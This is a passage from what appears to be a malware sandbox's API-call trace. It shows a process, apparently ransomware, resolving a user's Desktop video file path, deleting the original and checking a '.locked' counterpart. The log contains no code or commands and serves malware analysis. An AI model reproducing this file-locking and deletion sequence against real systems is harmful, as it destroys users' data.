[2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.334] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.334] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.336] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4")) returned 0x20 [0125.336] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.336] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0125.337] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0125.337] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0125.337] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0125.337] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0125.337] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0125.337] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0125.337] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0125.337] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0125.337] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0125.337] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0125.337] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0125.337] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0125.338] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0125.338] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0125.338] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0125.338] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0125.338] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0125.338] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0125.338] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0125.338] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-")) returned 0x10 [0125.338] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-")) returned 0x10 [0125.338] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", lpFilePart=0x0) returned 0x3f [0125.338] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", lpFilePart=0x0) returned 0x3f [0125.339] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4")) returned 0x20 [0125.339] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.339] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.339] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0125.339] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.339] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4\\", lpFilePart=0x0) returned 0x58 [0125.340] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0125.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0125.340] CoTaskMemAlloc (cb=0x404) returned 0x8e38d40 [0125.340] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8e38d40, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0125.340] CoTaskMemFree (pv=0x8e38d40) [0125.341] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4")) returned 0x20 [0125.342] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.342] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0125.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4"), fInfoLevelId=0x0, lpFileInformation=0x6b47fbc | out: lpFileInformation=0x6b47fbc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43972980, ftCreationTime.dwHighDateTime=0x1d4a60e, ftLastAccessTime.dwLowDateTime=0xb228e8e0, ftLastAccessTime.dwHighDateTime=0x1d4a300, ftLastWriteTime.dwLowDateTime=0xb228e8e0, ftLastWriteTime.dwHighDateTime=0x1d4a300, nFileSizeHigh=0x0, nFileSizeLow=0x14cb9)) returned 1 [0125.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0125.342] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4")) returned 1 [0125.413] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.413] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.414] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.414] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.414] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.415] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4.locked")) returned 0x20 [0125.415] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\tbt3suoefkmkezkjydp.mp4.locked")) returned 0x20 [0125.415] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked", lpFilePart=0x0) returned 0x5e [0125.415] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4.locked", lpFilePart=0x0) returned 0x5e [0125.415] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.415] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\tBT3suOefKMkEZKJYDp.mp4", lpFilePart=0x0) returned 0x57 [0125.416] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.416] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.416] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.416] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.417] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.417] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.418] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.418] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.418] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.474] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.474] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.474] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.474] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.474] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.475] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.476] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.476] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.476] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.476] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.477] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.477] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.477] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.477] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, 